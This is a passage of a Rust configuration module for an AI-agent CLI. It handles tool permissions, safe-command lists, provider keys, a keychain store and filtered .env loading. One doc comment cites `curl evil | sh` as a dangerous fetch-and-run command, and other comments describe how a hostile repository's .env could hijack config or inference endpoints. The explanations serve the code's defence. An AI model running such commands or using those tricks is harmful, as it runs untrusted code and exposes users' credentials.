Skip to main content

leviath_cli/config/
mod.rs

1//! CLI configuration management.
2
3use leviath_mcp::MCPServerConfig;
4use leviath_providers::ModelCapabilityOverride;
5use serde::{Deserialize, Serialize};
6use std::collections::HashMap;
7use std::path::PathBuf;
8
9// Sections of the former single-file config, one per `[table]` it describes.
10// Glob re-exported so every existing `config::SecurityConfig` path keeps
11// working and the split stays a pure move.
12mod limits;
13pub use limits::*;
14mod policy;
15pub use policy::*;
16mod providers;
17pub use providers::*;
18mod security;
19pub use security::*;
20
21/// Record every dotted path in `found` that is missing from `kept`.
22///
23/// `kept` is what survived a deserialize/serialize round trip, so a path that
24/// is absent from it is one nothing read. Recurses only where both sides are
25/// tables: a value serde rewrote (an enum, a duration) is still a value it
26/// understood, and only the *keys* are being judged here.
27fn collect_dropped_keys(
28    found: &toml::value::Table,
29    kept: &toml::value::Table,
30    prefix: &str,
31    out: &mut Vec<String>,
32) {
33    for (key, value) in found {
34        let path = if prefix.is_empty() {
35            key.clone()
36        } else {
37            format!("{prefix}.{key}")
38        };
39        match kept.get(key) {
40            None => out.push(path),
41            Some(kept_value) => {
42                if let (Some(found_table), Some(kept_table)) =
43                    (value.as_table(), kept_value.as_table())
44                {
45                    collect_dropped_keys(found_table, kept_table, &path, out);
46                }
47            }
48        }
49    }
50}
51
52/// CLI configuration.
53#[derive(Debug, Clone, Serialize, Deserialize)]
54pub struct Config {
55    /// Default provider
56    #[serde(default = "default_provider_name")]
57    pub default_provider: String,
58
59    /// Provider API keys
60    #[serde(default)]
61    pub providers: ProviderConfig,
62
63    /// Agent project paths
64    #[serde(default)]
65    pub agent_paths: Vec<PathBuf>,
66
67    /// OpenRouter API key
68    #[serde(default)]
69    pub openrouter_api_key: Option<String>,
70
71    /// Ollama base URL (default http://localhost:11434)
72    #[serde(default)]
73    pub ollama_base_url: Option<String>,
74
75    /// MCP server configurations
76    #[serde(default)]
77    pub mcp_servers: Vec<MCPServerConfig>,
78
79    /// Default model override
80    #[serde(default)]
81    pub default_model: Option<String>,
82
83    /// Per-model capability overrides. Key is model ID (e.g. "my-local-llama").
84    /// Takes precedence over the provider's built-in capability table.
85    #[serde(default)]
86    pub model_capabilities: HashMap<String, ModelCapabilityOverride>,
87
88    /// Optional overrides for Rhai *script providers*. Key is the
89    /// provider name an agent references (e.g. `"groq"`). A script activates by
90    /// being referenced + its `.rhai` file existing in the providers dir; an
91    /// entry here only supplies overrides (an API key not read from env, a
92    /// `base_url`, a `rate_limit`, a differently-named `script`, or extra keys
93    /// forwarded to the script's `initialize`).
94    #[serde(default)]
95    pub model_providers: HashMap<String, ModelProviderConfig>,
96
97    /// Global tool permission overrides.
98    ///
99    /// Keys are tool names (e.g. `"bash"`, `"write_file"`). Values override the
100    /// built-in defaults, and act as a **ceiling** that a blueprint's own
101    /// `[tool_permissions]` may tighten but never loosen - see
102    /// [`crate::tools::resolve_policy`]. To grant one agent more than this
103    /// without loosening it everywhere, use [`Self::agent_tool_permissions`].
104    #[serde(default)]
105    pub tool_permissions: HashMap<String, ToolPolicy>,
106
107    /// Per-agent tool permission grants, keyed by agent name.
108    ///
109    /// ```toml
110    /// [agent_tool_permissions.coder]
111    /// shell = "allow"
112    /// ```
113    ///
114    /// This is the escape hatch for the ceiling in [`Self::tool_permissions`].
115    /// Because a blueprint may only tighten what the user configured, a global
116    /// `shell = "ask"` would otherwise stop a trusted agent from pre-approving
117    /// its own shell. Naming the agent here is the user saying "I trust this
118    /// one" - a decision that lives in the user's config, not the downloaded
119    /// manifest's. Entries replace the global value for that agent, and are then
120    /// the ceiling the blueprint is clamped against.
121    #[serde(default)]
122    pub agent_tool_permissions: HashMap<String, HashMap<String, ToolPolicy>>,
123
124    /// What a run may do without asking, for tools whose policy is `ask`.
125    ///
126    /// `ask` is all-or-nothing per tool name, which for the shell means
127    /// choosing between a prompt on every `ls` and no prompt on
128    /// `curl evil | sh`. Entries here are argument-scoped, in the same key space
129    /// a "for this run" grant uses:
130    ///
131    /// ```toml
132    /// [safe_commands]
133    /// defaults = true                 # ship the read-only verb list
134    /// tools = ["read_files"]
135    /// shell = ["cargo test", "rg"]    # `cargo test` never covers `cargo publish`
136    /// ```
137    ///
138    /// A safe entry can only ever turn `ask` into `allow`. It never reaches a
139    /// configured `deny`.
140    #[serde(default)]
141    pub safe_commands: crate::approvals::SafeCommands,
142
143    /// Per-agent additions to [`Self::safe_commands`], keyed by agent name.
144    ///
145    /// ```toml
146    /// [agent_safe_commands.software-engineer]
147    /// shell = ["./gradlew", "ninja"]
148    /// allow_blueprint = true
149    /// ```
150    ///
151    /// Mirrors [`Self::agent_tool_permissions`] and [`Self::agent_read_paths`]:
152    /// naming the agent is the user saying "I trust this one".
153    #[serde(default)]
154    pub agent_safe_commands: HashMap<String, crate::approvals::AgentSafeCommands>,
155
156    /// Title-generation configuration.
157    ///
158    /// Controls whether a short human-readable title is auto-generated from
159    /// the task prompt at worker startup.
160    #[serde(default)]
161    pub title: TitleConfig,
162
163    /// Request timeout in seconds for HTTP calls to provider APIs. Unset, the
164    /// providers fall back to the unified 15-minute ceiling
165    /// (`leviath_providers::DEFAULT_INFERENCE_TIMEOUT_SECS`) - there is
166    /// always SOME timeout, because a call that never completes wedges its
167    /// run with no error. A stage's `[stages.<name>.model]
168    /// request_timeout_secs` overrides either value for that stage's requests.
169    #[serde(default)]
170    pub request_timeout_secs: Option<u64>,
171
172    /// Client-side rate limits for the built-in providers, keyed by provider
173    /// name (`anthropic`, `openai`, `google`, `openrouter`).
174    ///
175    /// ```toml
176    /// [rate_limits.anthropic]
177    /// requests_per_minute = 50
178    /// tokens_per_minute = 40000
179    /// ```
180    ///
181    /// Script providers configure theirs via
182    /// `[model_providers.<name>] rate_limit` instead.
183    #[serde(default)]
184    pub rate_limits: HashMap<String, leviath_providers::RateLimitConfig>,
185
186    /// Global master switch for taint tracking / data-flow enforcement.
187    ///
188    /// **Off by default (opt-in).** When `true`, every agent enforces taint
189    /// tracking by default; individual agents or stages can opt out via a
190    /// `[security] taint_tracking = false` block. When `false`, an agent still
191    /// opts *in* by setting `taint_tracking = true` in its own `[security]`.
192    #[serde(default)]
193    pub taint_tracking: bool,
194
195    /// Runtime resource limits (inference concurrency + iteration caps).
196    #[serde(default)]
197    pub limits: LimitsConfig,
198
199    /// Global master switch for the batch-tool-calls system-prompt hint.
200    ///
201    /// **On by default (opt-out).** When `true`, every stage's request carries a
202    /// short hint telling the model it may emit several `tool_use` blocks in one
203    /// response and should batch *independent* operations (but never dependent
204    /// ones) to cut API round trips. Individual agents or stages can opt out by
205    /// setting `batch_tool_hint = false` in their `[agent]` / `[stages.<name>]`
206    /// blocks; when this global is `false`, they opt back *in* by setting it to
207    /// `true` at the narrower scope.
208    #[serde(default = "default_true")]
209    pub batch_tool_hint: bool,
210
211    /// Global master switch for the platform shell hint.
212    ///
213    /// **On by default (opt-out).** When `true`, a stage that advertises the
214    /// `shell` tool carries a short system block describing the shell it will
215    /// actually get, so the model doesn't spend iterations discovering it. The
216    /// hint is emitted only where the platform warrants one (today: Windows,
217    /// where commands run through `cmd.exe /C` rather than a POSIX shell), so
218    /// on Linux and macOS this toggle costs nothing either way. Individual
219    /// agents or stages override it with `shell_hint` in their `[agent]` /
220    /// `[stages.<name>]` blocks.
221    #[serde(default = "default_true")]
222    pub shell_hint: bool,
223
224    /// Machine-wide defaults for the empty-response nudge (`[nudge]`): the
225    /// `[System]` message injected when a stage's model replies with text
226    /// before making any tool call. All three keys (`enabled`, `max`, `text`)
227    /// are optional; an agent's `[agent.nudge]` or a stage's
228    /// `[stages.<name>.nudge]` overrides each field independently. See
229    /// [`leviath_core::resolve_nudge`].
230    #[serde(default)]
231    pub nudge: leviath_core::NudgeConfig,
232
233    /// Completion-webhook delivery tuning (retry/backoff/timeout).
234    #[serde(default)]
235    pub webhook: WebhookConfig,
236
237    /// Structured observability export (OpenTelemetry). Off by default; when
238    /// enabled the daemon exports run/stage/inference/tool spans, metrics, and
239    /// trace-correlated log records for every agent run. The standard
240    /// `OTEL_EXPORTER_OTLP_ENDPOINT` / `OTEL_SERVICE_NAME` env vars fill any
241    /// hole the file leaves, same as the provider keys.
242    #[serde(default)]
243    pub observability: ObservabilityConfig,
244
245    /// Machine-wide default sandbox for tool execution. An agent's own
246    /// `[sandbox]` (or a stage's) overrides this; when unset, agents run tools
247    /// on the host unless they opt in themselves. See
248    /// [`leviath_core::resolve_sandbox`].
249    #[serde(default, skip_serializing_if = "Option::is_none")]
250    pub sandbox: Option<leviath_core::ToolSandboxConfig>,
251
252    /// Per-host-function permissions for Rhai script tools (Layer 3). Gates what
253    /// a registered script tool may *do* (network, shell, file, env access).
254    #[serde(default)]
255    pub tool_script_permissions: ScriptToolPermissions,
256
257    /// Machine-wide security switches that aren't part of the per-tool
258    /// permission cascade. (The global taint master switch stays the top-level
259    /// [`Self::taint_tracking`] key for back-compat.)
260    #[serde(default)]
261    pub security: SecurityConfig,
262
263    /// Per-agent read grants, keyed by agent name - the itemized counterpart
264    /// of [`SecurityConfig::allow_blueprint_read_paths`], analogous to
265    /// [`Self::agent_tool_permissions`]:
266    ///
267    /// ```toml
268    /// [agent_read_paths.cto]
269    /// allow = ["~/.leviath/runs", "glob:~/design-docs/**"]
270    /// ```
271    ///
272    /// Naming the agent here is the user saying "I trust this one to read
273    /// these" - a decision that lives in the user's config, not the
274    /// downloaded manifest. As with `[security] read_paths`, a grant only
275    /// takes effect for a path the blueprint also declares.
276    #[serde(default)]
277    pub agent_read_paths: HashMap<String, ReadPathGrants>,
278}
279
280impl Default for Config {
281    fn default() -> Self {
282        Self {
283            default_provider: "anthropic".to_string(),
284            providers: ProviderConfig {
285                anthropic_api_key: None,
286                openai_api_key: None,
287                google_api_key: None,
288                claude_code_enabled: false,
289                claude_code_binary: None,
290                claude_code_effort: None,
291                anthropic_cache_ttl: None,
292                fallback_order: Vec::new(),
293            },
294            agent_paths: Vec::new(),
295            openrouter_api_key: None,
296            ollama_base_url: None,
297            mcp_servers: Vec::new(),
298            default_model: None,
299            model_capabilities: HashMap::new(),
300            model_providers: HashMap::new(),
301            tool_permissions: HashMap::new(),
302            agent_tool_permissions: HashMap::new(),
303            safe_commands: crate::approvals::SafeCommands::default(),
304            agent_safe_commands: HashMap::new(),
305            title: TitleConfig::default(),
306            request_timeout_secs: None,
307            rate_limits: HashMap::new(),
308            taint_tracking: false,
309            limits: LimitsConfig::default(),
310            batch_tool_hint: true,
311            shell_hint: true,
312            nudge: leviath_core::NudgeConfig::default(),
313            webhook: WebhookConfig::default(),
314            observability: ObservabilityConfig::default(),
315            sandbox: None,
316            tool_script_permissions: ScriptToolPermissions::default(),
317            security: SecurityConfig::default(),
318            agent_read_paths: HashMap::new(),
319        }
320    }
321}
322
323impl Config {
324    /// The permission ceiling to apply to `agent_name`: the global
325    /// `[tool_permissions]` with that agent's `[agent_tool_permissions.<name>]`
326    /// entries laid over it.
327    ///
328    /// Returned by value (rather than as two maps threaded through
329    /// [`crate::tools::resolve_policy`]) so the ceiling is resolved exactly once,
330    /// at spawn, and every later lookup reads a single flat map.
331    pub fn permissions_for_agent(&self, agent_name: &str) -> HashMap<String, ToolPolicy> {
332        let mut merged = self.tool_permissions.clone();
333        if let Some(per_agent) = self.agent_tool_permissions.get(agent_name) {
334            merged.extend(per_agent.iter().map(|(k, v)| (k.clone(), *v)));
335        }
336        merged
337    }
338
339    /// The safe-command keys in effect for `agent_name`, and where each came
340    /// from. Resolved once at spawn, mirroring [`Self::permissions_for_agent`].
341    ///
342    /// `blueprint` is the manifest's own `[safe_commands]`, which contributes
343    /// only when the user opted in - see
344    /// [`crate::approvals::resolve_safe_keys`].
345    pub fn safe_keys_for_agent(
346        &self,
347        agent_name: &str,
348        blueprint: Option<&leviath_core::blueprint::SafeCommandsConfig>,
349    ) -> std::collections::BTreeMap<String, crate::approvals::SafeSource> {
350        crate::approvals::resolve_safe_keys(
351            &self.safe_commands,
352            self.agent_safe_commands.get(agent_name),
353            blueprint,
354            self.security.allow_blueprint_safe_commands,
355        )
356    }
357
358    /// Every read-path grant that applies to `agent_name`: the machine-wide
359    /// `[security] read_paths` list plus that agent's
360    /// `[agent_read_paths.<name>]` entries. Resolved once at spawn, mirroring
361    /// [`Self::permissions_for_agent`].
362    pub fn read_path_grants_for_agent(&self, agent_name: &str) -> Vec<String> {
363        let mut grants = self.security.read_paths.clone();
364        if let Some(per_agent) = self.agent_read_paths.get(agent_name) {
365            grants.extend(per_agent.allow.iter().cloned());
366        }
367        grants
368    }
369
370    /// Load configuration from the default location (~/.leviath/config.toml).
371    ///
372    /// After loading from file (or using defaults), environment variables are
373    /// checked as fallbacks. Env vars override config file values if set.
374    pub fn load() -> anyhow::Result<Self> {
375        // In the crate's own test build, refuse to read the *real* environment.
376        //
377        // `Config::load()` reads process-wide state, and `cargo test` runs tests
378        // in parallel threads of one process. `temp_env` serializes its own
379        // calls behind a global lock, but a test that reaches this function
380        // without going through that lock races every test that holds it - so
381        // it sees whatever variables happen to be set or unset at that instant.
382        // That is not hypothetical: the `serve` CORS test failed on CI in two
383        // different places depending on when it lost the race, each time
384        // accusing code that was correct.
385        //
386        // Making it a hard error rather than an audit means the next test to
387        // reach here unisolated fails immediately and locally, with the fix in
388        // the message, instead of flaking on someone else's pull request months
389        // later.
390        #[cfg(test)]
391        assert!(
392            std::env::var_os("LEVIATH_CONFIG_PATH").is_some(),
393            "Config::load() reached from a test that has not isolated the \
394             environment. Wrap the test in `config::with_isolated_config_path` \
395             (or `..._async`), which both points this at a scratch config and \
396             takes the same process-wide lock every other env-touching test \
397             holds. Without it this test races them and fails intermittently, \
398             somewhere else."
399        );
400
401        // Load a `.env` from the current directory only.
402        //
403        // `dotenvy::dotenv()` searches the cwd *and every ancestor*, which is
404        // the wrong shape for a coding agent: `lev` is designed to be run inside
405        // cloned repositories, so an untrusted repo's `.env` - or one in any
406        // directory above it - was loaded into the process environment. That is
407        // load-bearing well beyond provider keys: `PATH` and `SHELL` decide what
408        // gets executed, `EDITOR`/`VISUAL` are split and spawned, `OLLAMA_HOST`
409        // redirects inference to an attacker's endpoint, `LEVIATH_HOME`
410        // relocates the directories agent scripts are discovered from, and
411        // `LEVIATH_API_TOKEN` sets a known credential on the agent-spawning API.
412        //
413        // `from_filename` reads only `./.env`, one directory the user chose
414        // rather than an unbounded walk up the tree. That narrowed the blast
415        // radius without closing it: a cloned repository *is* the working
416        // directory, so `./.env` is still attacker-authored on any repo the user
417        // did not write.
418        //
419        // dotenvy does not override an already-set variable, which covers `PATH`
420        // and `HOME` in practice - but not a variable that is normally unset,
421        // and those are the ones that matter. A single line of
422        // `LEVIATH_CONFIG_PATH=./.leviath.toml` makes the next statement read an
423        // attacker's config: their `[mcp_servers]` commands, their
424        // `[tool_permissions]`, their provider `base_url`. So the names that
425        // steer the process are filtered out, and the credentials this feature
426        // exists to load are not. See `leviath_core::dotenv_var_allowed`.
427        //
428        // `LEVIATH_SKIP_DOTENV` lets tests isolate `Config::load()` completely.
429        if std::env::var_os("LEVIATH_SKIP_DOTENV").is_none() {
430            load_dotenv_filtered(".env");
431        }
432
433        let config = Self::load_from_path(&Self::config_path())?;
434
435        // Check config file permissions on Unix
436        check_permissions();
437
438        Ok(config)
439    }
440
441    /// Say so when the config file holds a key nothing reads.
442    ///
443    /// Serde ignores unknown fields, so a misspelled or long-removed table sat
444    /// in `config.toml` doing nothing and saying nothing - `[cache] ttl` being
445    /// the reported case (#362). A warning rather than a hard error on
446    /// purpose: a blueprint is authored and validated deliberately, but this
447    /// file is long-lived and read by *every* command, so refusing to load it
448    /// over one stale key would take the whole CLI down rather than the one
449    /// thing that key was meant to affect.
450    ///
451    /// Reported at every depth, so `[limits] max_concurrent_tool` is named as
452    /// readily as a whole unknown table (#365).
453    fn warn_unknown_config_keys(content: &str) {
454        let unknown = Self::unknown_config_keys(content);
455        if !unknown.is_empty() {
456            // Joined before the macro, not inside it: a field expression only
457            // runs when a subscriber is interested at the callsite, so as an
458            // argument this read as uncovered under the 100% gate however the
459            // test installed its subscriber.
460            let keys = unknown.join(", ");
461            tracing::warn!(
462                %keys,
463                "config.toml has keys nothing reads; they are being ignored. \
464                 `lev doctor` reports them too, if this scrolls past."
465            );
466        }
467    }
468
469    /// Keys in the config file at `path` that nothing reads.
470    ///
471    /// The same answer the start-up warning gives, available to anyone who
472    /// wants to *ask* rather than having to catch it scrolling past - which is
473    /// what `lev doctor` does with it. An unreadable or absent file has no
474    /// unread keys, because that is a different problem and one the caller has
475    /// already reported.
476    pub fn unread_keys_at(path: &std::path::Path) -> Vec<String> {
477        std::fs::read_to_string(path)
478            .map(|content| Self::unknown_config_keys(&content))
479            .unwrap_or_default()
480    }
481
482    /// The decision behind [`Self::warn_unknown_config_keys`], as data.
483    ///
484    /// Split out because the warning-shaped version could only be tested by
485    /// asserting the config still loaded, which it does whether or not a single
486    /// key is ever reported - the first version of this shipped a `parse` that
487    /// silently returned early on every real config, and that test passed
488    /// anyway.
489    ///
490    /// `toml::from_str::<Table>` and not `content.parse::<toml::Value>()`: the
491    /// latter parses a bare TOML *value*, so a document failed at the first
492    /// `=` and this returned empty every time.
493    ///
494    /// # How a key is judged unknown
495    ///
496    /// By asking serde, rather than by consulting a list somebody has to
497    /// remember to update: deserialize the file into [`Config`], serialize that
498    /// straight back to TOML, and report any path in the input that did not
499    /// survive the round trip. Serde keeps what it understands and drops what
500    /// it does not, so the round trip *is* the definition of "read".
501    ///
502    /// Three things fall out of that for free:
503    ///
504    /// - It works at any depth, without knowing the shape of anything.
505    /// - It stays true as fields come and go, with nothing to maintain.
506    /// - It respects `#[serde(flatten)]`. `[model_providers.<name>]`
507    ///   deliberately absorbs unrecognised keys and forwards them to a Rhai
508    ///   script, and those keys round-trip, so they are not reported. Where
509    ///   serde keeps the data, this stays quiet.
510    ///
511    /// An earlier attempt compared against `Config::default()` instead, which
512    /// was wrong in a way worth recording: TOML cannot represent null, so every
513    /// `Option` still at `None` vanishes from the *default's* serialized form
514    /// and five real keys read as unknown. Round-tripping the user's own config
515    /// does not have that problem, because a field they set is a field that
516    /// serializes.
517    fn unknown_config_keys(content: &str) -> Vec<String> {
518        let Ok(found) = toml::from_str::<toml::value::Table>(content) else {
519            return Vec::new();
520        };
521        // A file that is TOML but not a config has no *unknown* keys to report
522        // - it has a type error, which whoever asked for it reports instead.
523        let Ok(config) = toml::from_str::<Self>(content) else {
524            return Vec::new();
525        };
526        // Infallible, and said with `expect` rather than a branch nothing can
527        // reach: every field of `Config` is plain data with a derived
528        // `Serialize`, and a struct always serializes to a table.
529        let kept = toml::Value::try_from(config).expect("a Config is plain data and serializes");
530        let kept = kept.as_table().expect("a struct serializes to a table");
531
532        let mut unknown = Vec::new();
533        collect_dropped_keys(&found, kept, "", &mut unknown);
534        unknown
535    }
536
537    /// Core of `load()`, parameterized by path so it can be exercised in
538    /// tests against a tempfile instead of the real `~/.leviath/config.toml`.
539    fn load_from_path(path: &std::path::Path) -> anyhow::Result<Self> {
540        let mut config = if !path.exists() {
541            let path_display = path.display();
542            tracing::debug!("No config file found at {}, using defaults", path_display);
543            Self::default()
544        } else {
545            let content = std::fs::read_to_string(path).map_err(|e| {
546                anyhow::anyhow!("Failed to read config from '{}': {}", path.display(), e)
547            })?;
548
549            let c: Self = toml::from_str(&content)
550                .map_err(|e| anyhow::anyhow!("Failed to parse config: {}", e))?;
551
552            Self::warn_unknown_config_keys(&content);
553
554            // Catch a malformed MCP server entry here, at load, rather than at
555            // the first tool call: a typo that drops a server's tools should
556            // fail loudly and immediately.
557            for server in &c.mcp_servers {
558                server.validate()?;
559            }
560
561            let path_display = path.display();
562            tracing::debug!("Loaded config from {}", path_display);
563            c
564        };
565
566        // Env var fallbacks (env vars override config file if set)
567        if config.providers.anthropic_api_key.is_none() {
568            config.providers.anthropic_api_key = std::env::var("ANTHROPIC_API_KEY").ok();
569        }
570        if config.providers.openai_api_key.is_none() {
571            config.providers.openai_api_key = std::env::var("OPENAI_API_KEY").ok();
572        }
573        if config.providers.google_api_key.is_none() {
574            config.providers.google_api_key = std::env::var("GOOGLE_API_KEY").ok();
575        }
576        if config.openrouter_api_key.is_none() {
577            config.openrouter_api_key = std::env::var("OPENROUTER_API_KEY").ok();
578        }
579        // OLLAMA_HOST is the standard env var for Ollama
580        if config.ollama_base_url.is_none() {
581            config.ollama_base_url = std::env::var("OLLAMA_HOST").ok();
582        }
583
584        config.fill_from_credential_store();
585
586        Ok(config)
587    }
588
589    /// Fill any provider key still unset from the configured credential store.
590    fn fill_from_credential_store(&mut self) {
591        let resolved = crate::credentials::store_for(self.security.credential_store);
592        self.fill_from_credential_store_with(resolved);
593    }
594
595    /// Core of [`fill_from_credential_store`](Self::fill_from_credential_store)
596    /// with the backend already resolved.
597    ///
598    /// Runs *after* the file and the environment, so precedence is file > env >
599    /// keychain: what the user can see wins over what they cannot. In keychain
600    /// mode `lev auth migrate` strips the keys out of the file, so in practice
601    /// the keychain is the only source - but a key left behind by hand keeps
602    /// working rather than being silently ignored, and `lev auth status` reports
603    /// when a secret exists in both places.
604    ///
605    /// A store that cannot be opened is a warning, not a hard failure. The user
606    /// may still have working keys in their environment, and refusing to load
607    /// the config at all would take down `lev auth status` - the one command
608    /// that can explain what is wrong. The resolution is the caller's so that
609    /// path is testable: "no store is installed in this process" is not the same
610    /// as "this machine has no keychain", and on a developer's Mac the first
611    /// silently becomes the second.
612    fn fill_from_credential_store_with(&mut self, resolved: crate::credentials::Resolved) {
613        match resolved {
614            Ok(Some(store)) => self.apply_credential_store(store.as_ref()),
615            // The file backend keeps its keys in this struct already.
616            Ok(None) => {}
617            Err(e) => {
618                tracing::warn!("{e}. Falling back to keys from the config file and environment.");
619            }
620        }
621    }
622
623    /// Overlay `store`'s secrets onto whichever provider keys are still unset.
624    fn apply_credential_store(&mut self, store: &dyn leviath_core::CredentialStore) {
625        let accounts: Vec<String> = crate::credentials::PROVIDER_KEYS
626            .iter()
627            .map(|p| leviath_core::provider_account(p))
628            .collect();
629        let mut found = store.read_all(&accounts);
630        let mut take = |provider: &str| found.remove(&leviath_core::provider_account(provider));
631
632        let anthropic = take("anthropic");
633        let openai = take("openai");
634        let google = take("google");
635        let openrouter = take("openrouter");
636
637        self.providers.anthropic_api_key = self.providers.anthropic_api_key.take().or(anthropic);
638        self.providers.openai_api_key = self.providers.openai_api_key.take().or(openai);
639        self.providers.google_api_key = self.providers.google_api_key.take().or(google);
640        self.openrouter_api_key = self.openrouter_api_key.take().or(openrouter);
641    }
642
643    /// This config with every provider API key removed.
644    ///
645    /// What gets serialized in keychain mode: the secrets go to the OS store and
646    /// the file keeps only the settings. Returning a stripped copy rather than
647    /// mutating in place matters - the caller is usually saving a config it is
648    /// still going to use for inference, and blanking its keys would break the
649    /// run that triggered the save.
650    fn without_secrets(&self) -> Self {
651        let mut copy = self.clone();
652        copy.providers.anthropic_api_key = None;
653        copy.providers.openai_api_key = None;
654        copy.providers.google_api_key = None;
655        copy.openrouter_api_key = None;
656        copy
657    }
658
659    /// Every provider key currently set, as `(account, secret)` pairs.
660    pub(crate) fn provider_secrets(&self) -> Vec<(String, String)> {
661        [
662            ("anthropic", self.providers.anthropic_api_key.as_deref()),
663            ("openai", self.providers.openai_api_key.as_deref()),
664            ("google", self.providers.google_api_key.as_deref()),
665            ("openrouter", self.openrouter_api_key.as_deref()),
666        ]
667        .into_iter()
668        .filter_map(|(name, key)| {
669            key.map(|k| (leviath_core::provider_account(name), k.to_string()))
670        })
671        .collect()
672    }
673
674    /// Save configuration to a path, parameterized so it can be exercised in
675    /// tests against a tempfile instead of the real `~/.leviath/config.toml`.
676    /// `pub(crate)` so in-crate callers (e.g. the `setup` wizard) can inject a
677    /// path; production writes to [`Self::config_path`].
678    pub(crate) fn save_to_path(&self, path: &std::path::Path) -> anyhow::Result<()> {
679        // Create parent directory if needed
680        if let Some(parent) = path.parent() {
681            create_config_dir(parent)?;
682        }
683
684        // In keychain mode the secrets belong in the OS store, and the file
685        // keeps only the settings - otherwise `lev setup` would helpfully write
686        // every key back into `config.toml` and quietly undo the migration.
687        //
688        // A store that cannot be written is *not* silently downgraded to writing
689        // the keys into the file: a user who asked for the keychain would end up
690        // with plaintext keys on disk and no indication of it.
691        let resolved = crate::credentials::store_for(self.security.credential_store);
692        self.write_to(path, resolved)
693    }
694
695    /// Core of [`save_to_path`](Self::save_to_path) with the backend already
696    /// resolved - see
697    /// [`fill_from_credential_store_with`](Self::fill_from_credential_store_with)
698    /// for why the resolution is the caller's.
699    fn write_to(
700        &self,
701        path: &std::path::Path,
702        resolved: crate::credentials::Resolved,
703    ) -> anyhow::Result<()> {
704        let to_write = match resolved.map_err(|e| anyhow::anyhow!("{e}"))? {
705            Some(store) => {
706                for (account, secret) in self.provider_secrets() {
707                    store
708                        .set(&account, &secret)
709                        .map_err(|e| anyhow::anyhow!("failed to store {account}: {e}"))?;
710                }
711                self.without_secrets()
712            }
713            None => self.clone(),
714        };
715
716        // Config contains only primitive-typed fields; toml serialization is infallible.
717        let content =
718            toml::to_string_pretty(&to_write).expect("Config serialization is infallible");
719
720        // `write_private`, not `fs::write` + `chmod`. This file holds every
721        // provider API key, and the two-step version left it at the umask
722        // default (typically 0644) between the write and the mode change - so
723        // every save had a moment where any local user could read the keys.
724        leviath_sys::write_private(path, content.as_bytes()).map_err(|e| {
725            anyhow::anyhow!("Failed to write config to '{}': {}", path.display(), e)
726        })?;
727
728        let path_display = path.display();
729        tracing::debug!("Saved config to {}", path_display);
730        Ok(())
731    }
732
733    /// Load a config from an explicit path (`lev mcp` uses this to read the
734    /// file it is about to rewrite). Public wrapper over the tested `load_from_path`.
735    pub fn load_from_path_public(path: &std::path::Path) -> anyhow::Result<Self> {
736        Self::load_from_path(path)
737    }
738
739    /// Save a config to an explicit path. Public wrapper over `save_to_path`, for `lev mcp` rewriting the config file.
740    pub fn save_to_path_public(&self, path: &std::path::Path) -> anyhow::Result<()> {
741        self.save_to_path(path)
742    }
743
744    /// Get the path to the config file.
745    ///
746    /// Two overrides, narrowest first: `LEVIATH_CONFIG_PATH` names this file
747    /// exactly, and `LEVIATH_HOME` (via [`leviath_core::data_dir`]) redirects it
748    /// along with every other home-relative path.
749    ///
750    /// Honoring both matters. `LEVIATH_HOME`'s whole purpose is to "redirect
751    /// every home-relative path at once" - that is what its doc says and what
752    /// tests, sandboxed runs and scratch environments rely on - so a config
753    /// path that quietly ignored it would let a run that believes it is
754    /// isolated read *and write* the developer's real `~/.leviath/config.toml`,
755    /// the file holding every provider API key. Found by doing exactly that
756    /// during live testing.
757    pub fn config_path() -> PathBuf {
758        if let Ok(override_path) = std::env::var("LEVIATH_CONFIG_PATH") {
759            return PathBuf::from(override_path);
760        }
761        leviath_core::data_dir()
762            .unwrap_or_default()
763            .join("config.toml")
764    }
765
766    // Tests for the two overrides live in the `tests` module below; see
767    // `config_path_honors_leviath_home`.
768
769    /// Validate API key formats and return warnings for suspicious keys.
770    pub fn validate_keys(&self) -> Vec<String> {
771        // A blank key means "not configured" (that is what `lev setup` writes
772        // for a provider the user skipped), so it earns no warning - warning
773        // about the shape of a key nobody set is noise that trains users to
774        // ignore the ones that matter.
775        let mut warnings = Vec::new();
776        if let Some(key) = self.providers.anthropic_api_key.as_deref()
777            && !key.trim().is_empty()
778            && !key.starts_with("sk-ant-")
779        {
780            warnings.push(
781                "Anthropic API key doesn't start with 'sk-ant-' - verify it's correct".to_string(),
782            );
783        }
784        if let Some(key) = self.providers.openai_api_key.as_deref()
785            && !key.trim().is_empty()
786            && !key.starts_with("sk-")
787        {
788            warnings
789                .push("OpenAI API key doesn't start with 'sk-' - verify it's correct".to_string());
790        }
791        warnings
792    }
793}
794
795/// The canonical `LEVIATH_HOME`-aware resolvers live in
796/// [`leviath_core::paths`]; these re-exports keep this crate's established
797/// names pointing at that single definition instead of carrying a byte-for-
798/// byte copy of it (which is exactly how the override once diverged between
799/// components). `Config::config_path()` stays separate: it has its own
800/// narrower `LEVIATH_CONFIG_PATH` override above.
801pub use leviath_core::paths::home_dir as leviath_home_dir;
802pub use leviath_core::paths::providers_dir;
803
804/// Create the config directory with restrictive permissions.
805fn create_config_dir(dir: &std::path::Path) -> anyhow::Result<()> {
806    std::fs::create_dir_all(dir)
807        .map_err(|e| anyhow::anyhow!("Failed to create config directory: {}", e))?;
808    set_dir_permissions(dir);
809    Ok(())
810}
811
812/// Set every variable in `path` that a repository's `.env` is allowed to set,
813/// warning once about the rest.
814///
815/// Matches dotenvy's own precedence: a variable already present in the
816/// environment wins, because the person who exported it meant it and a file in
817/// a directory they happened to `cd` into did not.
818///
819/// A missing or unreadable `.env` is not an error - most working directories do
820/// not have one.
821/// Re-quote an already-parsed value so dotenvy reads it back unchanged.
822///
823/// Double quotes, not single. Single quotes look right - dotenvy's *value*
824/// parser treats everything inside them literally - but its *line reader* is a
825/// separate state machine that honours `\` escapes inside single quotes. The
826/// two disagree, so a value ending in a backslash ate its own closing quote,
827/// swallowed the next line, and failed the whole document. Since the load
828/// result is discarded, every variable after it vanished with no warning.
829///
830/// Inside double quotes both layers agree on the same escape set, so escaping
831/// `\`, `"`, `$` and a newline round-trips exactly. Escaping `$` is also what
832/// stops a second substitution pass: these values were already `$VAR`-expanded
833/// by the parse that produced them.
834fn requote(value: &str) -> String {
835    let mut out = String::with_capacity(value.len() + 2);
836    out.push('"');
837    for c in value.chars() {
838        match c {
839            '\\' => out.push_str("\\\\"),
840            '"' => out.push_str("\\\""),
841            '$' => out.push_str("\\$"),
842            '\n' => out.push_str("\\n"),
843            other => out.push(other),
844        }
845    }
846    out.push('"');
847    out
848}
849
850fn load_dotenv_filtered(path: &str) {
